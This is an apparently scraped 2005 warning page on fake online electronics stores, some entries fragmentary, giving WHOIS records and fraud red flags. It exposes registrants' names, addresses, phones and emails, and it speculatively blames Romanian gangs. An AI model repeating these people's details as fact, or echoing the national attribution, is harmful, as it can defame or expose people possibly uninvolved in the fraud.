http://www.aplus.net Registrar: NAMES4EVER, http://www.names4ever.com This fake company claims to have been around for seven years, but it's domain is only one month old. The (fake) postal address is in London, but the phone number is no London number. The domain is registered using a (fake) postal address in Colorado, USA.
smart-mobile-phones Ltd. is a company of limited size with an open market in Europe and US. We take pride of having factory prices on several selected products that we supply to our customers. WHOIS details for domain "smart-mobile-phones.com": Domain Name: SMART-MOBILE-PHONES.COM Registrar: TUCOWS INC. Whois Server: whois.opensrs.net Referral URL: http://domainhelp.tucows.com Name Server: NS1.NETFIRMS.COM Name Server: NS2.NETFIRMS.COM Status: REGISTRAR-LOCK Updated Date: 09-oct-2005 Creation Date: 09-oct-2005 Expiration Date: 09-oct-2006 >>> Last update of whois database: Wed, 9 Nov 2005 15:10:41 EST <<< Registrant: smart 380 CLAY AVENUE CRAIG, CO 81625 US Domain name: SMART-MOBILE-PHONES.COM Administrative Contact: MIESNER, LORETTA manuseller@yahoo.com 380 CLAY AVENUE CRAIG, CO 81625 US 8004234242 Technical Contact: Manager, Domains support@netfirms.com 5160 Yonge St 1800 Toronto, ON M2N 6L9 CA +1.4166612100 Fax: +1.4166610700 Registration Service Provider: Netfirms, Inc., support@netfirms.com +1.4166612100 This company may be contacted for domain login/passwords, DNS/Nameserver changes, and general domain support questions. Registrar of Record: TUCOWS, INC. Record last updated on 09-Oct-2005. Record expires on 09-Oct-2006. Record created on 09-Oct-2005. Domain servers in listed order: NS1.NETFIRMS.COM 64.34.74.221 NS2.NETFIRMS.COM 66.244.253.14 Domain status: REGISTRAR-LOCK
Extra Mall Inc. / Electrowork / extra-mall.com (created=2005-10-27) This fake store claims to be based in Portugal, but the domain registration lists an individual in the Netherlands and the site is less than two weeks old. This is a reincarnation of "electrolucs.com", a site which is now offline. The sites look like clones of each other. "electrolucs.com" included this clause, which is found on many fake electronics store sites: The minimum order is 500 EUR. Contact details for "Extra Mall Inc.": Extra Mall Inc. Message headers: Domain Name: EXTRA-MALL.COM Registrar: ABACUS AMERICA, INC. DBA NAMES4EVER Whois Server: whois.names4ever.com Referral URL: http://www.names4ever.com Name Server: NS2.ABAC.COM Name Server: NS1.ABAC.COM Status: ACTIVE Updated Date: 27-oct-2005 Creation Date: 27-oct-2005 Expiration Date: 27-oct-2006 >>> Last update of whois database: Wed, 9 Nov 2005 15:10:41 EST <<< Domain name: extra-mall.com Registrant: Marie-Christine Franken (DJ6KJ) extramall@yahoo.com Nieuwendijk 32F Someren, Someren 5712EM Netherlands Phone: (248)9890023 x Administrative Contact: Marie-Christine Franken (L6BPS) extramall@yahoo.com Nieuwendijk 32F Someren, Someren 5712EM Netherlands Phone: (248)9890023 x Technical Contact: Marie-Christine Franken (DJ6KJ) extramall@yahoo.com Nieuwendijk 32F Someren, Someren 5712EM Netherlands Phone: (248)9890023 x Billing Contact: Marie-Christine Franken (8TSBC) extramall@yahoo.com Nieuwendijk 32F Someren, Someren 5712EM Netherlands Phone: (248)9890023 x Record last updated on 2005-10-27 00:00:00 Record created on 2005-10-27 00:00:00 Record expires on 2006-10-27 00:00:00 Domain servers in listed order: ns1.abac.com 216.55.128.4 ns2.abac.com Registration Service Provider: AplusNet(APRO) apro-n4e-racc@abac.com http://www.aplus.net Registrar: NAMES4EVER, http://www.names4ever.com The site uses a London, UK postal address but no London phone number. The fax numbers is the same as the phone number. They use a fake escrow company to receive payments. The site states "The minimum order is 500 EUR" even though the company is supposedly based in a country where the legal currency is Pound Sterling.
Averahty Co Uk Domain registration details: Domain Name: averahty.co.uk Registrant: ... Registrant's Address: ... Registrant's Agent: Iomart Ltd [Tag = INTERNETTERS] URL: http://www.iomart.com Relevant Dates: Registered on: 17-Apr-2005 Renewal Date: 17-Apr-2007 Registration Status: Registered until renewal date. Name servers listed in order: ns4.easyspace.com 84.22.161.11 ns5.easyspace.com 62.128.193.201
Tradeisafe Net / tradeisafe.net This fake electronics company claims to be based in London, UK. The domain tradeisafe.net was registered on 2005-06-13 using an address in Bristol, UK and is hosted on a server in Norway. The postal address on the website is fake. For example, the post code doesn't match the street address. There is only one phone number for both fax and phone and it's not a London number. If you have been defrauded, report it to the police where you live and to the webhosting company (abuse@activeisp.com)
Tradeisafe Net. They use the following postal address when requesting paymenty by Western Union: Claudio Catani
WHOIS details for domain "tradeisafe.net": Request: tradeisafe.net from whois.active24.com:43 [cached Fri Sep 16 11:00:00 2005 UTC] Whois Server v1.10 build 20050508123934 ADRS (C)2003-2005 Active 24 ASA Domain Information =================== Domain.......: TRADEISAFE.NET (DOM-76106) Status.......: LIVE Amended......: 2005-06-13 15:58:51 Created......: 2005-06-13 15:58:51 Expires......: 2006-06-13 09:58:51 Registrar....: REGISTRAR-1 Organisation Contact ======================= ID...........: ORG-122749 Name.........: MR A HAMMUDA PostAddress..: 27 Comyn Walk PostCode.....: BS16 2JL PostArea.....: Bristol Country......: UK Phone........: +44.07939097701 Fax..........: Email........: jonkaole@yahoo.com Administrative Contact ======================= ID...........: UC-122750 Name.........: MR A HAMMUDA PostAddress..: 27 Comyn Walk PostCode.....: BS16 2JL PostArea.....: Bristol Country......: UK Phone........: +44.07939097701 Fax..........: Email........: jonkaole@yahoo.com Technical Contact ======================= ID...........: SYS-2509 Name.........: Active 24 ASA - Registry Department PostAddress..: Fjordalleen 16, Postboks 1519, Vika PostCode.....: N-0117 PostArea.....: Oslo Country......: Norway Phone........: +47 21 93 30 00 Fax..........: +47 21 93 30 01 Email........: hostmaster@activeisp.com Billing Contact ======================= ID...........: SYS-2508 Name.........: Active 24 ASA - Billing Department PostAddress..: Fjordalleen 16, P.O. box 1519 Vika PostCode.....: N-0117 PostArea.....: Oslo Country......: Norway Phone........: +47 21 93 30 00 Fax..........: +47 21 93 30 01 Email........: billing@activeisp.com Name Servers ======================= DNS20.ACTIVEISP.COM (NS-1) 213.188.128.38 DNS21.ACTIVEISP.COM (NS-2) 213.180.68.231 Active 24 is the brand for Active ISP ASA. If you have been defrauded, report it to the police where you live and to the webhosting company (abuse@activeisp.com)
Perfect Selling Domain registration details: Domain Name: PERFECTSELLING.NET Registrar: ACTIVE 24 ASA Whois Server: whois.active24.com Referral URL: http://www.active24.com Name Server: DNS20.ACTIVEISP.COM Name Server: DNS21.ACTIVEISP.COM Status: ACTIVE Updated Date: 02-may-2005 Creation Date: 02-may-2005 Expiration Date: 02-may-2006 >>> Last update of whois database: Wed, 9 Nov 2005 15:10:41 EST <<< Whois Server v1.10 build 20050508123934 ADRS (C)2003-2005 Active 24 ASA Domain Information =================== Domain.......: PERFECTSELLING.NET (DOM-74369) Status.......: LIVE Amended......: 2005-05-02 19:34:42 Created......: 2005-05-02 19:34:42 Expires......: 2006-05-02 13:34:42 Registrar....: REGISTRAR-1 Organisation Contact ======================= ID...........: ORG-119522 Name.........: K P MARTIN PostAddress..: 61 HYTHE ROAD PostCode.....: IP26 4PU PostArea.....: METHWOLD Country......: UK Phone........: +44.0184282189 Fax..........: Email........: kpmartink@yahoo.co.uk Administrative Contact ======================= ID...........: UC-119523 Name.........: K P MARTIN PostAddress..: 61 HYTHE ROAD PostCode.....: IP26 4PU PostArea.....: METHWOLD Country......: UK Phone........: +44.0184282189 Fax..........: Email........: kpmartink@yahoo.co.uk Technical Contact ======================= ID...........: SYS-2509 Name.........: Active 24 ASA - Registry Department PostAddress..: Fjordalleen 16, Postboks 1519, Vika PostCode.....: N-0117 PostArea.....: Oslo Country......: Norway Phone........: +47 21 93 30 00 Fax..........: +47 21 93 30 01 Email........: hostmaster@activeisp.com Billing Contact ======================= ID...........: SYS-2508 Name.........: Active 24 ASA - Billing Department PostAddress..: Fjordalleen 16, P.O. box 1519 Vika PostCode.....: N-0117 PostArea.....: Oslo Country......: Norway Phone........: +47 21 93 30 00 Fax..........: +47 21 93 30 01 Email........: billing@activeisp.com Name Servers ======================= DNS20.ACTIVEISP.COM (NS-1) 213.188.128.38 DNS21.ACTIVEISP.COM (NS-2) 213.180.68.231 Active 24 is the brand for Active ISP ASA.
CompCel Com. Registration details: Domain Name: COMPCEL.COM Registrar: INTERNETTERS LIMITED Whois Server: whois.internetters.co.uk Referral URL: http://www.internetters.co.uk Name Server: NS4.EASYSPACE.COM Name Server: NS5.EASYSPACE.COM Status: REGISTRAR-LOCK Updated Date: 19-may-2005 Creation Date: 19-may-2005 Expiration Date: 19-may-2006 >>> Last update of whois database: Wed, 9 Nov 2005 15:10:41 EST <<< Registrant: s pervaz 37 Cromer Avenue Burnley, BB10 3HA UK Domain name: COMPCEL.COM Administrative Contact: pervaz, s umustumust@yahoo.com 37 Cromer Avenue Burnley, BB10 3HA UK +44.8700500303 Fax: +44.1419317001 Technical Contact: Master, Host reg-tucows@easyspace.com Lister Pavilion Kelvin Campus West of Scotland Science Park Glasgow, Scotland G20 0SP UK +44.8707555066 Fax: +44.1419316785 Registrar of Record: Internetters, http://www.internetters.co.uk Record last updated on 19-May-2005. Record expires on 19-May-2006. Record created on 19-May-2005. Domain servers in listed order: NS4.EASYSPACE.COM 84.22.161.11 NS5.EASYSPACE.COM 62.128.193.201
Safeitrade Com. Message headers: Domain Name: SAFEITRADE.COM Registrar: ACTIVE 24 ASA Whois Server: whois.active24.com Referral URL: http://www.active24.com Name Server: DNS20.ACTIVEISP.COM Name Server: DNS21.ACTIVEISP.COM Status: ACTIVE Updated Date: 19-may-2005 Creation Date: 19-may-2005 Expiration Date: 19-may-2006 >>> Last update of whois database: Wed, 9 Nov 2005 15:10:41 EST <<< Whois Server v1.10 build 20050508123934 ADRS (C)2003-2005 Active 24 ASA Domain Information =================== Domain.......: SAFEITRADE.COM (DOM-75308) Status.......: LIVE Amended......: 2005-05-19 18:31:41 Created......: 2005-05-19 18:31:41 Expires......: 2006-05-19 12:31:41 Registrar....: REGISTRAR-1 Technical Contact ======================= ID...........: SYS-2509 Name.........: Active 24 ASA - Registry Department PostAddress..: Fjordalleen 16, Postboks 1519, Vika PostCode.....: N-0117 PostArea.....: Oslo Country......: Norway Phone........: +47 21 93 30 00 Fax..........: +47 21 93 30 01 Email........: hostmaster@activeisp.com Billing Contact ======================= ID...........: SYS-2508 Name.........: Active 24 ASA - Billing Department PostAddress..: Fjordalleen 16, P.O. box 1519 Vika PostCode.....: N-0117 PostArea.....: Oslo Country......: Norway Phone........: +47 21 93 30 00 Fax..........: +47 21 93 30 01 Email........: billing@activeisp.com Name Servers ======================= DNS20.ACTIVEISP.COM (NS-1) 213.188.128.38 DNS21.ACTIVEISP.COM (NS-2) 213.180.68.231 Active 24 is the brand for Active ISP ASA. Fake electronics store in the UK. Run by the same gang as "Tradeisafe Net / tradeisafe.net" and "Averahty Co Uk / averahty.co.uk". The sites look strikingly similar. Same 500 EUR minimum order, same use of a 44-808 phone number. The billing contact for the sitye mentions webhoster "Active 24", the same company used for the "Ukites.com" fake UK electronics store, which also had a 500 EUR minimum order, which indicates these sites are all part of the same scam by the same gang. Tradeisafe Net is also hosted by this company. If you have been defrauded, report it to the police where you live and to the webhosting company (abuse@activeisp.com)
The minimum order is 500 EUR. Message headers: Domain Name: FAROON.COM Registrar: ACTIVE 24 ASA Whois Server: whois.active24.com Referral URL: http://www.active24.com Name Server: DNS20.ACTIVEISP.COM Name Server: DNS21.ACTIVEISP.COM Status: ACTIVE Updated Date: 18-oct-2005 Creation Date: 18-oct-2005 Expiration Date: 18-oct-2006 >>> Last update of whois database: Wed, 9 Nov 2005 15:10:41 EST <<< Whois Server v1.10 build 20050508123934 ADRS (C)2003-2005 Active 24 ASA Domain Information =================== Domain.......: FAROON.COM (DOM-86022) Status.......: LIVE Amended......: 2005-10-18 14:22:41 Created......: 2005-10-18 14:22:41 Expires......: 2006-10-18 08:22:41 Registrar....: REGISTRAR-1 Technical Contact ======================= ID...........: SYS-2509 Name.........: Active 24 ASA - Registry Department PostAddress..: Fjordalleen 16, Postboks 1519, Vika PostCode.....: N-0117 PostArea.....: Oslo Country......: Norway Phone........: +47 21 93 30 00 Fax..........: +47 21 93 30 01 Email........: hostmaster@activeisp.com Billing Contact ======================= ID...........: SYS-2508 Name.........: Active 24 ASA - Billing Department PostAddress..: Fjordalleen 16, P.O. box 1519 Vika PostCode.....: N-0117 PostArea.....: Oslo Country......: Norway Phone........: +47 21 93 30 00 Fax..........: +47 21 93 30 01 Email........: billing@activeisp.com Name Servers ======================= DNS20.ACTIVEISP.COM (NS-1) 213.188.128.38 DNS21.ACTIVEISP.COM (NS-2) 213.180.68.231 Active 24 is the brand for Active ISP ASA.
Electronics Store Ltd. / ionut.biz Fake electronics store, probably run by a gang from Romania. The TRUSTe seal and all other certificate seals on the home page are fake, none of them are links to a valid certification. All three branch offices share one number bewtween the phone and fax. All the postal addresses are fake. The domain of this supposedly UK / French / Italian company was registered using a fake address in Ohio, USA.
abuse@megawebservers.com Message headers: Domain Name: IONUT.BIZ Domain ID: D10735124-BIZ Sponsoring Registrar: TUCOWS INC. Sponsoring Registrar IANA ID: 69 Domain Status: clientTransferProhibited Domain Status: clientUpdateProhibited Registrant ID: TUMAVYLBKC6JAPBH Registrant Name: Zachary Guren Registrant Organization: Ionut-Biz Registrant Email: colecatherin@yahoo.com Administrative Contact ID: TUMAVYLBKC6JAPBH Technical Contact ID: TUMAVYLBKC6JAPBH Technical Contact Organization: Ionut-Biz Name Server: NS1.FORTUNECITY.NET Name Server: NS2.FORTUNECITY.NET Created by Registrar: TUCOWS INC. Last Updated by Registrar: TUCOWS INC. Domain Registration Date: Wed Aug 24 14:19:03 GMT 2005 Domain Expiration Date: Thu Aug 23 23:59:59 GMT 2007 Domain Last Updated Date: Wed Aug 24 14:19:06 GMT 2005
Axus Electronics Ltd / axusmobile.com Fake electronics store, probably run by a gang from Romania. The TRUSTe seal and all other certificate seals on the home page are fake, none of them are links to a valid certification. All three branch offices share one number bewtween the phone and fax. All the postal addresses are fake. All phone numbers are the same as in the ionut.biz scam.
Axus Electronics Ltd. Message headers: Domain Name: AXUSMOBILE.COM Registrar: EASYSPACE LTD Whois Server: whois.easyspace.com Referral URL: http://www.easyspace.com Name Server: NS4.EASYSPACE.COM Name Server: NS5.EASYSPACE.COM Status: REGISTRAR-LOCK Updated Date: 29-nov-2005 Creation Date: 29-nov-2005 Expiration Date: 29-nov-2006 Registrant: lyn norwood 38 Peronne Road Portsmouth, PO3 5LD UK Domain name: AXUSMOBILE.COM Administrative Contact: norwood, lyn schrabal35@yahoo.com 38 Peronne Road Portsmouth, PO3 5LD UK +44.8707550009 Fax: +44.1419316401 Technical Contact: Master, Host hostmaster@easyspace.com Lister Pavilion Kelvin Campus West of Scotland Science Park Glasgow, Scotland G20 0SP GB +44.08707555066 Fax: +44.1419316785 Registrar of Record: Easyspace Ltd. Record last updated on 29-Nov-2005. Record expires on 29-Nov-2006. Record created on 29-Nov-2005. Domain servers in listed order: NS4.EASYSPACE.COM 84.22.161.11 NS5.EASYSPACE.COM 62.128.193.201 Domain status: REGISTRAR-LOCK This is a fake electronics store claiming to be based in London, UK. It's probably run by one of the Romanian mafias that dominate these scams. Here are some of the red flags raised by the site:
Here are the Western Union payment instructions (note that the postal address of the recipient is meaningless in a WU transfer): Make Payable To: Domain registration details. Note the absence of a street address and the fake phone number.
Domain Name: TMTSYSTEMSUK.COM Registrar: WILD WEST DOMAINS, INC. Whois Server: whois.wildwestdomains.com Referral URL: http://www.wildwestdomains.com Name Server: NS1.TMTSYSTEMSUK.COM Name Server: NS2.TMTSYSTEMSUK.COM Status: REGISTRAR-LOCK Updated Date: 28-oct-2005 Creation Date: 27-oct-2005 Expiration Date: 27-oct-2006 >>> Last update of whois database: Wed, 23 Nov 2005 16:31:46 EST <<< Registrant: TMT Systems LTD GROUND FLOOR London, LD E2 7NX United Kingdom Registered through: Mad Dog Domains and Cattle Company Domain Name: TMTSYSTEMSUK.COM Created on: 27-Oct-05 Expires on: 27-Oct-06 Last Updated on: 27-Oct-05 Administrative Contact: Kent, Steve steve_kent2k3@yahoo.com TMT Systems LTD GROUND FLOOR London, LD E2 7NX United Kingdom 1234270505 Fax -- Technical Contact: Kent, Steve steve_kent2k3@yahoo.com TMT Systems LTD GROUND FLOOR London, LD E2 7NX United Kingdom 1234270505 Fax -- Domain servers in listed order: NS1.TMTSYSTEMSUK.COM NS2.TMTSYSTEMSUK.COM This scam is run by the same gang as Extra Mall Inc. / Electrowork / extra-mall.com (created=2005-10-27) and electrolucs.com. Sample email from this fake company:
From: <office@electro-zara.com> Fake domain registration details: Domain name: electro-zara.com Registrant: Michael Mikhail (9QF8K) electrozara@yahoo.com 1924 villa del dios glen Escondido, CA 92029 United States Phone: (760)9982356 x Administrative Contact: Michael Mikhail (JP4LH) electrozara@yahoo.com 1924 villa del dios glen Escondido, CA 92029 United States Phone: (760)9982356 x Technical Contact: Michael Mikhail (9QF8K) electrozara@yahoo.com 1924 villa del dios glen Escondido, CA 92029 United States Phone: (760)9982356 x Billing Contact: Michael Mikhail (UM748) electrozara@yahoo.com 1924 villa del dios glen Escondido, CA 92029 United States Phone: (760)9982356 x Record last updated on 2006-01-13 00:00:00 Record created on 2006-01-13 00:00:00 Record expires on 2007-01-13 00:00:00 Domain servers in listed order: ns1.abac.com 216.55.128.4 ns2.abac.com Registration Service Provider: AplusNet(APRO) apro-n4e-racc@abac.com http://www.aplus.net Registrar: NAMES4EVER, http://www.names4ever.com Domain Name: ELECTRO-ZARA.COM Registrar: ABACUS AMERICA, INC. DBA NAMES4EVER Whois Server: whois.names4ever.com Referral URL: http://www.names4ever.com Name Server: NS2.ABAC.COM Name Server: NS1.ABAC.COM Status: ACTIVE Updated Date: 13-jan-2006 Creation Date: 13-jan-2006 Expiration Date: 13-jan-2007
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